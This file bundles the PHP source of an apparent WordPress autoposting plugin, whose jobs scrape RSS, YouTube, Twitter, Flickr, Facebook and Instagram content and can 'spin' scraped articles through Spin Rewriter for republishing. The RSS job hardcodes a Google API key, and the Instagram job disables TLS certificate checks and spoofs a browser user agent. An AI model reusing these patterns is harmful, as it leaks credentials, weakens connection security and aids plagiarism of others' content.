      '; } $return['content'] = $main_content; } } // Spin rewriter processor if(isset($this->settings['robot_spin_rewriter']) && $this->settings['robot_spin_rewriter'] == 'on'){ $return['content'] = $this->maybe_spin_rewriter($return['content']); } $this->log[] = array( 'message' => 'Fetch Title: '.$return['title'], 'level' => 'log' ); $this->log[] = array( 'message' => 'Fetch URL: '.$return['link'].'', 'level' => 'log' ); }else{ $this->log[] = array( 'message' => 'There is no new post from this source, Auto Robot will generate new post again when this source have update', 'level' => 'log' ); } return $return; }else{ return $rss; } } /** * Spin Rewriter * * @return string */ private function maybe_spin_rewriter($innertext){ $spin_rewriter_api_data = Auto_Robot_Addon_Loader::get_instance()->get_addon_data('spin-rewriter'); // spin rewriter service if(isset($this->settings['robot_spin_rewriter']) && $this->settings['robot_spin_rewriter'] == 'on'){ // Spin Rewriter API settings - authentication: $email_address = $spin_rewriter_api_data['email']; // your Spin Rewriter email address goes here $api_key = $spin_rewriter_api_data['api_key']; // your unique Spin Rewriter API key goes here if(!empty($email_address) && !empty($api_key)){ // Authenticate yourself. $spinrewriter_api = new SpinRewriterAPI($email_address, $api_key); // (optional) Set whether the One-Click Rewrite process automatically protects Capitalized Words outside the article's title. $spinrewriter_api->setAutoProtectedTerms(false); // (optional) Set the confidence level of the One-Click Rewrite process. $spinrewriter_api->setConfidenceLevel("medium"); // (optional) Set whether the One-Click Rewrite process uses nested spinning syntax (multi-level spinning) or not. $spinrewriter_api->setNestedSpintax(true); // (optional) Set whether Spin Rewriter rewrites complete sentences on its own. $spinrewriter_api->setAutoSentences(false); // (optional) Set whether Spin Rewriter rewrites entire paragraphs on its own. $spinrewriter_api->setAutoParagraphs(false); // (optional) Set whether Spin Rewriter writes additional paragraphs on its own. $spinrewriter_api->setAutoNewParagraphs(false); // (optional) Set whether Spin Rewriter changes the entire structure of phrases and sentences. $spinrewriter_api->setAutoSentenceTrees(false); // (optional) Sets whether Spin Rewriter should only use synonyms (where available) when generating spun text. $spinrewriter_api->setUseOnlySynonyms(false); // (optional) Sets whether Spin Rewriter should intelligently randomize the order of paragraphs and lists when generating spun text. $spinrewriter_api->setReorderParagraphs(false); // (optional) Sets whether Spin Rewriter should automatically enrich generated articles with headings, bullet points, etc. $spinrewriter_api->setAddHTMLMarkup(false); // (optional) Sets whether Spin Rewriter should automatically convert line-breaks to HTML tags. $spinrewriter_api->setUseHTMLLinebreaks(false); // remove img tags before process // $innertext = preg_replace("/]+\>/i", "(image)", $innertext); // Make the actual API request and save the response as a native PHP array. $api_response = $spinrewriter_api->getUniqueVariation($innertext); if($api_response['status'] == 'ERROR'){ $this->log[] = array( 'message' => $api_response['response'], 'level' => 'error' ); return $innertext; }else if($api_response['status'] == 'OK'){ return $api_response['response']; } } }else{ return $innertext; } } /** * Get og:image source * * @return string */ private function get_og_image($original_content){ $og_img = ''; // let's find og:image may be the content we got has no image preg_match ( '{}s', $original_content, $plain_og_matches ); if (isset ( $plain_og_matches [0] ) && stristr ( $plain_og_matches [0], 'og:image' )) { preg_match ( '{content=["|\'](.*?)["|\']}s', $plain_og_matches [0], $matches ); $og_img = $matches [1]; } return $og_img; } } endif; includes/jobs/class-twitter-job.php000064400000007227147600277620013420 0ustar00id = $id; $this->get_api_data($type); $this->keyword = $keyword; $this->settings = $settings; $this->logger = new Auto_Robot_Log($id); } /** * Run this job * * @return array */ public function run(){ // Fetch Tweet $tweet = $this->fetch_data(); // Create new post when return data is not null if(!is_null($tweet)){ $text = $tweet['text']; $this->log[] = array( 'message' => 'Fetch Tweet: '.$text, 'level' => 'log' ); $title = substr($text, 0, 45); //$tweet_url = 'https://www.twitter.com/p/'.$data['shortcode']; // Build post content $content = $text.'
      '; //$content .= 'source'; // Generate New Post $this->create_post($title, $content, $this->settings); } // Add this job running log to system log file foreach($this->log as $key => $value){ $this->logger->add($value['message'], $value['level']); } return $this->log; } /** * fetch_data * * @return array */ public function fetch_data() { $api_data = $this->api_data; $client_id = $api_data['client_id']; $client_secret = $api_data['client_secret']; // generate a new twitter access token $concated = urlencode($client_id) . ':'. urlencode($client_secret); $header = [ 'Authorization' => 'Basic ' . base64_encode($concated), 'content-type' => 'application/x-www-form-urlencoded;charset=UTF-8.' ]; // Get access token $url = 'https://api.twitter.com/oauth2/token'; $body = [ 'grant_type' => 'client_credentials' ]; // fetch url json data $return_data = $this->fetch_post( $url, $header, $body ); $return_token = json_decode($return_data); $access_token = $return_token->access_token; // start fetch tweets use http bearer authentication $header = array( 'Authorization' => 'Bearer ' . $access_token ); $url='https://api.twitter.com/1.1/search/tweets.json?'; $req_params = [ 'tweet_mode' => 'extended', 'q' => urlencode(trim($this->keyword)) ]; $url .= http_build_query($req_params); // fetch url json data $return_data = $this->fetch_stream( $url, $header ); $result = json_decode($return_data); $tweets = array(); foreach($result->statuses as $key => $value) { $tweets[$key]['text'] = $value->full_text; $tweets[$key]['created_at'] = $value->created_at; $tweets[$key]['id'] = $value->id; } $rand = rand(0, 14); return $tweets[$rand]; } } endif; includes/jobs/class-soundcloud-job.php000064400000002064147600277620014067 0ustar00id = $id; $this->settings = $settings; $this->get_api_data($type); if(strpos($keyword, ' ')){ $keyword_array = explode( ' ', $keyword ); $this->keyword = $keyword_array[0]; }else{ $this->keyword = $keyword; } } /** * Run this job * * @return array */ public function run(){ } /** * Fetch Data * * @return array */ public function fetch_data() { } } endif; includes/jobs/class-youtube-job.php000064400000027346147600277620013416 0ustar00id = $id; $this->get_api_data($type); $this->keyword = $keyword; $this->settings = $settings; $this->logger = new Auto_Robot_Log($id); } /** * Run this job * * @return array */ public function run(){ // Fetch Data $data = $this->fetch_data(); // Create new post when return data is not null if(!is_null($data)){ $this->log[] = array( 'message' => 'Fetch Youtube Title: '.$this->videoTitle, 'level' => 'log' ); $this->log[] = array( 'message' => 'Fetch Youtube URL: '.$this->videoUrl.'', 'level' => 'log' ); $content = $this->parseTemplate($this->settings['robot_youtube_main_post_content'], Auto_Robot_Config::$templateFields); // Generate New Post $this->create_post($this->videoTitle, $content, $this->settings); } // Add this job running log to system log file foreach($this->log as $key => $value){ $this->logger->add($value['message'], $value['level']); } return $this->log; } /** * fetch_data * * @return array */ public function fetch_data() { $source_category = $this->settings['robot_youtube_source_category']; // Check if cache youtube data exists $auto_youtube_cache_key = 'auto_youtube_cache_'.$source_category.'_'.$this->id; $auto_youtube_cache_value = get_option( $auto_youtube_cache_key, false ); $return_data = ''; // Set youtube cache value empty when source type is keywords if ( $source_category == 'keywords') { $auto_youtube_cache_value = ''; } // Start fetch data from youtube api if ( ! $auto_youtube_cache_value || empty($auto_youtube_cache_value) ) { $api_data = $this->api_data; $api_key = $api_data['api_key']; $limit = 50; switch ( $source_category ) { case 'playlist': $url = 'https://www.googleapis.com/youtube/v3/playlistItems?part=snippet&type=video&'; $req_params = [ 'key' => $api_key, 'playlistId' => $this->settings['robot_youtube_playlist'], 'maxResults' => $limit, ]; break; case 'channel': $url = 'https://www.googleapis.com/youtube/v3/channels?part=contentDetails,snippet&'; $req_params = [ 'id' => $this->settings['robot_youtube_channel'], 'key' => $api_key, ]; $url .= http_build_query($req_params); // Get playlist ID by channel $return_data = $this->fetch_stream( $url ); $video_list = json_decode($return_data); $playlistId = $video_list->items[0]->contentDetails->relatedPlaylists->uploads; $url = 'https://www.googleapis.com/youtube/v3/playlistItems?part=snippet&type=video&'; $req_params = [ 'key' => $api_key, 'playlistId' => $playlistId, 'maxResults' => $limit, ]; break; case 'keywords': $url = 'https://www.googleapis.com/youtube/v3/search?part=snippet&type=video&'; $req_params = [ 'key' => $api_key, 'q' => $this->keyword, 'maxResults' => $limit, ]; break; default: break; } $url .= http_build_query($req_params); // fetch url json data $return_data = $this->fetch_stream( $url ); // Check if return data is an empty array if(empty($return_data)){ return null; }else{ // Update youtube data cache update_option( $auto_youtube_cache_key, $return_data ); $this->log[] = array( 'message' => 'Update youtube cache data on'.time(), 'level' => 'info' ); } }else{ $return_data = $auto_youtube_cache_value; } $result = json_decode($return_data); // return random video item $rand_key = array_rand($result->items, 1); $video = $result->items[$rand_key]; if($source_category === 'playlist' || $source_category === 'channel'){ $this->videoKey = $video->snippet->resourceId->videoId; }else{ $this->videoKey = $video->id->videoId; } $this->videoUrl = 'https://www.youtube.com/watch?v='.$this->videoKey; $this->videoTitle = $video->snippet->title; $this->videoDescription = $video->snippet->description; $this->videoPublishedAt = $video->snippet->publishedAt; $this->thumbnailStandardUrl = $video->snippet->thumbnails->standard->url; $this->thumbnailHighUrl = $video->snippet->thumbnails->high->url; $this->thumbnailMediumUrl = $video->snippet->thumbnails->medium->url; $this->thumbnailDefaultUrl = $video->snippet->thumbnails->default->url; $this->thumbnailMaxresUrl = $video->snippet->thumbnails->maxres->url; $width = 680; $height = 485; $this->videoEmbed = ''; $this->videoDuration = $this->getSingleVideoDuration($this->videoKey); $statistics = $this->getSingleVideoStatistics($this->videoKey); $this->videoComments = $statistics->commentCount; $this->videoViews = $statistics->viewCount; $this->videoLikes = $statistics->likeCount; $this->videoDislikes = $statistics->dislikeCount; $this->videoFavorites = $statistics->favoriteCount; return $video; } /** * Parse template */ private function parseTemplate($template, $fields) { $pattern = "/\{\{(\w+)\}\}/"; $res = array(); $object_vars = get_object_vars($this); preg_match_all($pattern, $template, $res, PREG_SET_ORDER); foreach ($res as $r) { $current_field=$fields[$r[1]]; if (isset($object_vars[$current_field])) $template = str_replace($r[0],$object_vars[$current_field],$template); else $template = str_replace($r[0],'', $template); }//foreach return $template; }//parseTemplate /** * Get single video duration * * @return string */ private function getSingleVideoDuration($id) { // Check if cache duration youtube data exists $auto_youtube_duration_cache_key = 'auto_youtube_duration_cache_'.$id; $auto_youtube_duration_cache_value = get_option( $auto_youtube_duration_cache_key, false ); if ( ! $auto_youtube_duration_cache_value || empty($auto_youtube_duration_cache_value) ) { $api_data = $this->api_data; $api_key = $api_data['api_key']; $url = 'https://www.googleapis.com/youtube/v3/videos?part=snippet,contentDetails&'; $req_params = [ 'id' => $id, 'key' => $api_key, ]; $url .= http_build_query($req_params); // fetch url json data $return_data = $this->fetch_stream( $url ); // Check if return data is an empty array if(empty($return_data)){ return null; }else{ // Update youtube data cache update_option( $auto_youtube_duration_cache_key, $return_data ); $this->log[] = array( 'message' => 'Update youtube duration video '.$id.' cache data on'.time(), 'level' => 'info' ); } }else{ $return_data = $auto_youtube_duration_cache_value; } $result = json_decode($return_data); return $result->items[0]->contentDetails->duration; } private function getSingleVideoStatistics($id) { // Check if cache statistics youtube data exists $auto_youtube_statistics_cache_key = 'auto_youtube_statistics_cache_'.$id; $auto_youtube_statistics_cache_value = get_option( $auto_youtube_statistics_cache_key, false ); if ( ! $auto_youtube_statistics_cache_value || empty($auto_youtube_statistics_cache_value) ) { $api_data = $this->api_data; $api_key = $api_data['api_key']; $url = 'https://www.googleapis.com/youtube/v3/videos?part=statistics&'; $req_params = [ 'id' => $id, 'key' => $api_key ]; $url .= http_build_query($req_params); // fetch url json data $return_data = $this->fetch_stream( $url ); // Check if return data is an empty array if(empty($return_data)){ return null; }else{ // Update youtube data cache update_option( $auto_youtube_statistics_cache_key, $return_data ); $this->log[] = array( 'message' => 'Update youtube statistics video '.$id.' cache data on'.time(), 'level' => 'info' ); } }else{ $return_data = $auto_youtube_statistics_cache_value; } $result = json_decode($return_data); return $result->items[0]->statistics; } } endif; includes/jobs/class-rss-job.php000064400000047247147600277620012533 0ustar00id = $id; $this->feed_link = $feed_link; $this->settings = $settings; $this->logger = new Auto_Robot_Log($id); } /** * Run this job * * @return array */ public function run(){ $title = ''; $content = ''; // Fetch Data $data = $this->fetch_data(); if(is_object($data)){ $this->log[] = array( 'message' => $data->errors['simplepie-error'][0], 'level' => 'error' ); }else{ $title = $data['title']; // Build post content $content = $data['content'].'
      '; $content .= 'source'; // Generate New Post $this->create_post($title, $content, $this->settings, $data['featured_image']); } // Add this job running log to system log file foreach($this->log as $key => $value){ $this->logger->add($value['message'], $value['level']); } return $this->log; } /** * Fetch Data * * @return array */ public function fetch_data() { // Get RSS Feed(s) include_once( ABSPATH . WPINC . '/feed.php' ); $this->log[] = array( 'message' => 'Start process feed: '.$this->feed_link, 'level' => 'log' ); // Get a SimplePie feed object from the specified feed source. $rss = fetch_feed( $this->feed_link ); $maxitems = 0; // Checks that the object is created correctly if ( ! is_wp_error( $rss ) ) { // Figure out how many total items there are, but limit it to 5. $maxitems = $rss->get_item_quantity(); $this->log[] = array( 'message' => 'Feed contains '.$maxitems.' total items', 'level' => 'log' ); // Build an array of all the items, starting with element 0 (first element). $rss_items = $rss->get_items(0, $maxitems); $rand = rand(0, $maxitems-1); $return = array(); // translate title $return['title'] = $this->maybe_spin_rewriter($rss_items[$rand]->get_title()); $return['title'] = $this->translate_innertext($rss_items[$rand]->get_title()); $return['link'] = $rss_items[$rand]->get_permalink(); $return['content'] = $rss_items[$rand]->get_content(); // Fetch origin content $original_content = $this->fetch_stream( $return['link'] ); $return['featured_image'] = $this->get_og_image($original_content); //$return['content'] = $original_content; // if(!empty($return['content']) && $this->settings['robot_content_options'] === 'full_content'){ // // Parse DOM HTML // // Create DOM from URL or file // $html = new simple_html_dom($return['content']); // $html->load($return['content']); // if($html){ // $main_content = ''; // // get each paragraph // foreach($html->find('p') as $element) { // if(isset($this->settings['robot_spin_rewriter']) && $this->settings['robot_spin_rewriter'] == 'on'){ // if(strpos($element->outertext, 'outertext, 'maybe_spin_rewriter($element->outertext); // }else{ // // translate each paragraph // $outertext = $this->translate_innertext($element->outertext); // } // $main_content .= $outertext . '
      '; // } // $return['content'] = $main_content; // } // } $this->log[] = array( 'message' => 'Fetch Title: '.$return['title'], 'level' => 'log' ); $this->log[] = array( 'message' => 'Fetch URL:
      '.$return['link'].'', 'level' => 'log' ); // get scripts $postponedScripts = array (); preg_match_all ( '{}s', $original_content, $scriptMatchs ); $scriptMatchs = $scriptMatchs [0]; foreach ( $scriptMatchs as $singleScript ) { if (stristr ( $singleScript, 'connect.facebook' )) { $postponedScripts [] = $singleScript; } $original_content = str_replace ( $singleScript, '', $original_content ); } $auto_robot_Readability = new auto_robot_Readability ( $original_content, $return['link'] ); $auto_robot_Readability->debug = false; $result = $auto_robot_Readability->init (); if ($result) { // Redability title $title = $auto_robot_Readability->getTitle ()->textContent; // Redability Content $content = $auto_robot_Readability->getContent ()->innerHTML; // twitter embed fix if (stristr ( $content, 'twitter.com' ) && ! stristr ( $content, 'platform.twitter' )) { $content .= ''; } // Remove auto_robot_Readability attributes $content = preg_replace ( '{ auto_robot_Readability\=".*?"}s', '', $content ); // Fix iframe if exists preg_match_all ( '{}s', $content, $ifrMatches ); $iframesFound = $ifrMatches [0]; foreach ( $iframesFound as $iframeFound ) { $correctIframe = str_replace ( '/>', '>', $iframeFound ); $content = str_replace ( $iframeFound, $correctIframe, $content ); } // add postponed scripts if (count ( $postponedScripts ) > 0) { $content .= implode ( '', $postponedScripts ); } // Cleaning redability for better memory unset ( $auto_robot_Readability ); unset ( $result ); // Check existence of title words in the content $title_arr = explode ( ' ', $title ); $valid = ''; $nocompare = array ( 'is', 'Is', 'the', 'The', 'this', 'This', 'and', 'And', 'or', 'Or', 'in', 'In', 'if', 'IF', 'a', 'A', '|', '-' ); foreach ( $title_arr as $title_word ) { if (strlen ( $title_word ) > 3) { if (! in_array ( $title_word, $nocompare ) && preg_match ( '/\b' . preg_quote ( trim ( $title_word ), '/' ) . '\b/ui', $content )) { $this->log[] = array( 'message' => 'Title word ' . $title_word . ' exists on the content, approving.', 'level' => 'log' ); // echo $content; $valid = 'yeah'; break; } else { // echo '
      Word '.$title_word .' does not exists'; } } } if (trim ( $valid ) != '') { $return['content'] = $content; $return['matched_content'] = $content; $return['og_img'] = ''; // let's find og:image may be the content we got has no image preg_match ( '{}s', $html, $plain_og_matches ); if (isset ( $plain_og_matches [0] ) && @stristr ( $plain_og_matches [0], 'og:image' )) { preg_match ( '{content=["|\'](.*?)["|\']}s', $plain_og_matches [0], $matches ); $og_img = $matches [1]; if (trim ( $og_img ) != '') { $return['og_img'] = $og_img; } } // If og:image $return['content'] = $this->lazy_loading_auto_fix( $return['content']); $feature_image_src = $this->get_image_src($return['content']); if(!empty($feature_image_src)){ $return['featured_image'] = $this->get_image_src($return['content']); } } else { $this->log[] = array( 'message' => 'Can not make sure if the returned content is the full content, using excerpt instead.', 'level' => 'log' ); } } else { $this->log[] = array( 'message' => 'Looks like we couldn\'t find the full content. :( returning summary', 'level' => 'log' ); } return $return; }else{ return $rss; } } /** * Auto fix lazy loading * * @param * $cont */ function lazy_loading_auto_fix($cont) { preg_match_all ( '{}s', $cont, $imgsMatchs ); // if no images $imgs_count = count ( $imgsMatchs [0] ); if ($imgs_count < 1) return $cont; $found_lazy_tag = ''; if (stristr ( $cont, ' data-src=' )) { $found_lazy_tag = 'data-src'; } elseif (stristr ( $cont, ' data-lazy-src=' )) { $found_lazy_tag = 'data-lazy-src'; } else { // suspecting lazy $lazy_suspected = false; $images_plain = implode ( ' ', $imgsMatchs [0] ); if (stristr ( $images_plain, 'lazy' )) { if ($this->debug == true) $this->log[] = array( 'message' => 'Lazy word exists, now suspected', 'level' => 'log' ); $lazy_suspected = true; } else { if ($this->debug == true) $this->log[] = array( 'message' => 'Word Lazy does not exist, lets guess...', 'level' => 'log' ); // src values preg_match_all ( '{ src[\s]?=[\s]?["|\'](.*?)["|\']}', $images_plain, $srcs_matches ); $found_srcs_count = count ( $srcs_matches [0] ); $unique_srcs_count = count ( array_unique ( $srcs_matches [1] ) ); if ($this->debug == true) echo "
      Post contains $found_srcs_count src attributes, and $unique_srcs_count unique"; if ($found_srcs_count != 0) { $diff_percentage = (($found_srcs_count - $unique_srcs_count)) * 100 / $found_srcs_count; } else { $diff_percentage = 0; } if ($this->debug == true) echo '<-- Percentage is ' . $diff_percentage; if ($diff_percentage > 39) { $lazy_suspected = true; if ($this->debug == true) echo '<-- Lazy suspected'; } else { if ($this->debug == true) echo '<-- Lazy was not suspected'; } } // finding suspected lazy attribute if ($lazy_suspected) { $images_plain_no_src = preg_replace ( '{ src[\s]?=[\s]?["|\'].*?["|\']}', ' ', $images_plain ); $replace_known_attributes = array ( ' alt', ' srcset', ' data-srcset', ' class', ' id', ' title' ); $images_plain_no_src = str_replace ( $replace_known_attributes, ' ', $images_plain_no_src ); // remove attributes containing small data 1-9 $images_plain_no_src = preg_replace ( '{ [\w|-]*?[\s]?=[\s]?["|\'].{1,9}?["|\']}s', ' ', $images_plain_no_src ); // attributes with slashes preg_match_all ( '{( [\w|-]*?)[\s]?=[\s]?["|\'][^",]*?/[^",]*?["|\']}', $images_plain_no_src, $possible_src_matches ); $unique_attr = (array_unique ( $possible_src_matches [1] )); if (isset ( $unique_attr [0] )) { $found_lazy_tag = $unique_attr [0]; } } } // found tag? // of course not src if (trim ( $found_lazy_tag ) == 'src') return $cont; if (trim ( $found_lazy_tag ) != '') { $this->log[] = array( 'message' => 'Lazy loading was automatically detected where lazy tag is: ' . $found_lazy_tag . '...Fixing...', 'level' => 'log' ); $cg_feed_lazy = trim ( $found_lazy_tag ); } else { return $cont; } if (! stristr ( $cont, $cg_feed_lazy )) return $cont; foreach ( $imgsMatchs [0] as $imgMatch ) { if (stristr ( $imgMatch, $cg_feed_lazy )) { $newImg = $imgMatch; $newImg = str_replace ( ' src=', ' bad-src=', $newImg ); $newImg = preg_replace ( '{ bad-src=[\'|"].*?[\'|"] }', ' ', $newImg ); $newImg = str_replace ( ' ' . $cg_feed_lazy, ' src', $newImg ); $cont = str_replace ( $imgMatch, $newImg, $cont ); } } return $cont; } /** * Translate inner text * * @return string */ private function translate_innertext($innertext){ // translate content for rss campaigns if(isset($this->settings['translation']) && $this->settings['translation'] == 'translation-on'){ switch ( $this->settings['robot_translation_api'] ) { case 0: $translate = new TranslateClient([ 'key' => 'AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw' ]); // Translate text. $result = $translate->translate($innertext, ['target' => $this->settings['robot_translation_to_language']]); return $result['text']; break; case 1: break; default: break; } }else{ return $innertext; } } /** * Spin Rewriter * * @return string */ private function maybe_spin_rewriter($innertext){ $spin_rewriter_api_data = Auto_Robot_Addon_Loader::get_instance()->get_addon_data('spin-rewriter'); // spin rewriter service if(isset($this->settings['robot_spin_rewriter']) && $this->settings['robot_spin_rewriter'] == 'on'){ // Spin Rewriter API settings - authentication: $email_address = $spin_rewriter_api_data['email']; // your Spin Rewriter email address goes here $api_key = $spin_rewriter_api_data['api_key']; // your unique Spin Rewriter API key goes here if(!empty($email_address) && !empty($api_key)){ // Authenticate yourself. $spinrewriter_api = new SpinRewriterAPI($email_address, $api_key); // (optional) Set whether the One-Click Rewrite process automatically protects Capitalized Words outside the article's title. $spinrewriter_api->setAutoProtectedTerms(false); // (optional) Set the confidence level of the One-Click Rewrite process. $spinrewriter_api->setConfidenceLevel("medium"); // (optional) Set whether the One-Click Rewrite process uses nested spinning syntax (multi-level spinning) or not. $spinrewriter_api->setNestedSpintax(true); // (optional) Set whether Spin Rewriter rewrites complete sentences on its own. $spinrewriter_api->setAutoSentences(false); // (optional) Set whether Spin Rewriter rewrites entire paragraphs on its own. $spinrewriter_api->setAutoParagraphs(false); // (optional) Set whether Spin Rewriter writes additional paragraphs on its own. $spinrewriter_api->setAutoNewParagraphs(false); // (optional) Set whether Spin Rewriter changes the entire structure of phrases and sentences. $spinrewriter_api->setAutoSentenceTrees(false); // (optional) Sets whether Spin Rewriter should only use synonyms (where available) when generating spun text. $spinrewriter_api->setUseOnlySynonyms(false); // (optional) Sets whether Spin Rewriter should intelligently randomize the order of paragraphs and lists when generating spun text. $spinrewriter_api->setReorderParagraphs(false); // (optional) Sets whether Spin Rewriter should automatically enrich generated articles with headings, bullet points, etc. $spinrewriter_api->setAddHTMLMarkup(false); // (optional) Sets whether Spin Rewriter should automatically convert line-breaks to HTML tags. $spinrewriter_api->setUseHTMLLinebreaks(false); // remove img tags before process // $innertext = preg_replace("/]+\>/i", "(image)", $innertext); // Make the actual API request and save the response as a native PHP array. $api_response = $spinrewriter_api->getUniqueVariation($innertext); if($api_response['status'] == 'ERROR'){ $this->log[] = array( 'message' => $api_response['response'], 'level' => 'error' ); return $innertext; }else if($api_response['status'] == 'OK'){ return $api_response['response']; } } }else{ return $innertext; } } /** * Get og:image source * * @return string */ private function get_og_image($original_content){ $og_img = ''; // let's find og:image may be the content we got has no image preg_match ( '{}s', $original_content, $plain_og_matches ); if (isset ( $plain_og_matches [0] ) && stristr ( $plain_og_matches [0], 'og:image' )) { preg_match ( '{content=["|\'](.*?)["|\']}s', $plain_og_matches [0], $matches ); $og_img = $matches [1]; } return $og_img; } /** * Get imgae source * * @return string */ private function get_image_src($original_content){ $dom = new DOMDocument(); $dom->loadHTML($original_content); if(is_object($dom->getElementsByTagName('img')->item(0))){ return $dom->getElementsByTagName('img')->item(0)->getAttribute('src'); }else{ return ''; } } } endif; includes/jobs/class-flickr-job.php000064400000006323147600277620013164 0ustar00id = $id; $this->get_api_data($type); $this->keyword = $keyword; $this->settings = $settings; $this->logger = new Auto_Robot_Log($id); } /** * Run this job * * @return array */ public function run(){ // Fetch Data $data = $this->fetch_data(); // Create new post when return data is not null if(!is_null($data)){ $title = $data['title']['_content']; $url = $data['urls']['url'][0]['_content']; $this->log[] = array( 'message' => 'Fetch Flickr Title: '.$title, 'level' => 'log' ); $this->log[] = array( 'message' => 'Fetch Flickr URL: '.$url.'', 'level' => 'log' ); // Build post content $content = $url.'
      '; $content .= 'source'; // Generate New Post $this->create_post($title, $content, $this->settings); } // Add this job running log to system log file foreach($this->log as $key => $value){ $this->logger->add($value['message'], $value['level']); } return $this->log; } /** * fetch_data * * @return array */ public function fetch_data() { $api_data = $this->api_data; $api_key = $api_data['api_key']; $limit = 50; $url = 'https://api.flickr.com/services/rest/?method=flickr.photos.getRecent&'; $req_params = [ 'api_key' => $api_key, 'text' => $this->keyword, 'format' => 'php_serial', 'per_page' => $limit ]; $url .= http_build_query($req_params); // fetch url json data $return_data = $this->fetch_stream( $url ); $result = unserialize($return_data); $rand = rand(0, 49); $photo_id = $result['photos']['photo'][$rand]['id']; // Get single Photo Image $single_photo_url = 'https://api.flickr.com/services/rest/?method=flickr.photos.getInfo&'; $req_params = [ 'api_key' => $api_key, 'format' => 'php_serial', 'photo_id' => $photo_id ]; $single_photo_url .= http_build_query($req_params); // fetch url json data $return_photo_data = $this->fetch_stream( $single_photo_url ); $photo_result = unserialize($return_photo_data); return $photo_result['photo']; } } endif; includes/jobs/class-facebook-job.php000064400000013302147600277620013456 0ustar00id = $id; $this->get_api_data($type); $this->settings = $settings; $this->logger = new Auto_Robot_Log($id); } /** * Run this job * * @return array */ public function run(){ // Fetch Data $data = $this->fetch_data(); // Create new post when return data is not null if(!is_null($data)){ $title = substr($data['message'], 0, 45); $this->log[] = array( 'message' => 'Fetch Facebook Message: '.$data['message'], 'level' => 'log' ); $content = '

      '.$data['message'].'

      '; if(isset($data['image'])){ $content .= ''; } // Generate New Post $this->create_post($title, $content, $this->settings); // Add this job running log to system log file foreach($this->log as $key => $value){ $this->logger->add($value['message'], $value['level']); } } return $this->log; } /** * fetch_data * * @return array */ public function fetch_data() { $api_data = $this->api_data; $access_token = $api_data['access_token']; $limit = 100; // check if need to fetch data from specific facebook user if( $this->settings['facebook_source_type'] == 'profile' ){ $user_id = $this->get_user_id(); $url = 'https://graph.facebook.com/v11.0/'.$user_id.'/feed/?'; // Check previous profile post key $fb_profile_post_cache_key = 'auto_robot_fb_profile_post_'.$this->id; $fb_profile_post_cache_value = get_option( $fb_profile_post_cache_key, false ); if($fb_profile_post_cache_value === false){ $profile_post_key = 0; add_option( $fb_profile_post_cache_key, $profile_post_key ); }else{ $profile_post_key = intval($fb_profile_post_cache_value) + 1; update_option( $fb_profile_post_cache_key, $profile_post_key ); } }else if( $this->settings['facebook_source_type'] == 'group' ){ $group_id = $this->get_group_id($this->settings['facebook_group']); $url = 'https://graph.facebook.com/v11.0/'.$group_id.'/feed/?'; // Check previous group post key $fb_group_post_cache_key = 'auto_robot_fb_group_post_'.$this->id; $fb_group_post_cache_value = get_option( $fb_group_post_cache_key, false ); if($fb_group_post_cache_value === false){ $group_post_key = 0; add_option( $fb_group_post_cache_key, $group_post_key ); }else{ $group_post_key = intval($fb_group_post_cache_value) + 1; update_option( $fb_group_post_cache_key, $group_post_key ); } } $req_params = [ 'access_token' => $access_token, 'fields' => 'message,attachments', 'limit' => $limit, ]; $url .= http_build_query($req_params); // fetch url json data $return_data = $this->fetch_stream( $url ); $result = json_decode($return_data); $feeds = array(); foreach($result->data as $key => $value){ $feeds[$key]['message'] = $value->message; if(isset($value->attachments->data[0]->media->image->src)){ $feeds[$key]['image'] = $value->attachments->data[0]->media->image->src; } } if( $this->settings['facebook_source_type'] == 'profile' ){ return $feeds[$profile_post_key]; }else if( $this->settings['facebook_source_type'] == 'group' ){ return $feeds[$group_post_key]; } } /** * Get user is * * @return int */ public function get_user_id() { $api_data = $this->api_data; $access_token = $api_data['access_token']; $url = 'https://graph.facebook.com/v11.0/me?'; $req_params = [ 'access_token' => $access_token, 'fields' => 'id,name' ]; $url .= http_build_query($req_params); // fetch url json data $return_data = $this->fetch_stream( $url ); $result = json_decode($return_data); return $result->id; } /** * Get ID by group name * * @return int */ public function get_group_id($group_name) { $api_data = $this->api_data; $access_token = $api_data['access_token']; $url = 'https://graph.facebook.com/v11.0/'.$group_name.'/?'; $req_params = [ 'access_token' => $access_token, ]; $url .= http_build_query($req_params); // fetch url json data $return_data = $this->fetch_stream( $url ); $result = json_decode($return_data); return $result->id; } } endif; includes/jobs/class-instagram-job.php000064400000026357147600277620013710 0ustar00id = $id; $this->settings = $settings; $this->get_api_data($type); if(strpos($keyword, ' ')){ $keyword_array = explode( ' ', $keyword ); $this->keyword = $keyword_array[0]; }else{ $this->keyword = $keyword; } $this->build_ch(); $this->logger = new Auto_Robot_Log($id); } /** * Build Ch */ public function build_ch(){ // curl $this->ch = curl_init (); curl_setopt ( $this->ch, CURLOPT_HEADER, 0 ); curl_setopt ( $this->ch, CURLOPT_RETURNTRANSFER, 1 ); curl_setopt ( $this->ch, CURLOPT_CONNECTTIMEOUT, 10 ); curl_setopt ( $this->ch, CURLOPT_TIMEOUT, 200 ); curl_setopt ( $this->ch, CURLOPT_REFERER, 'http://www.bing.com/' ); curl_setopt ( $this->ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36' ); // curl_setopt($this->ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8'); curl_setopt ( $this->ch, CURLOPT_MAXREDIRS, 20 ); // Good leeway for redirections. @curl_setopt ( $this->ch, CURLOPT_FOLLOWLOCATION, 1 ); // Many login forms redirect at least once. //cooke jar to save cookies, without a cookie jar, cURL will not remember any cookie set and will never send a cookie saved $cjname = $this->cookieJarName (); @curl_setopt ( $this->ch, CURLOPT_COOKIEJAR, str_replace ( 'core.php', $cjname, __FILE__ ) ); @curl_setopt ( $this->ch, CURLOPT_COOKIEJAR, $cjname ); curl_setopt ( $this->ch, CURLOPT_SSL_VERIFYPEER, false ); } /** * Random cookie name * * @return string|unknown|mixed|boolean */ function cookieJarName() { $name = get_option ( 'auto_robot_instagram_cjn', '' ); if (trim ( $name ) == '') { $name = $this->randomString () . '_' . $this->randomString (); update_option ( 'auto_robot_instagram_cjnn', $name ); } return $name; } // random text function randomString($length = 10) { $str = ""; $characters = array_merge ( range ( 'A', 'Z' ), range ( 'a', 'z' ), range ( '0', '9' ) ); $max = count ( $characters ) - 1; 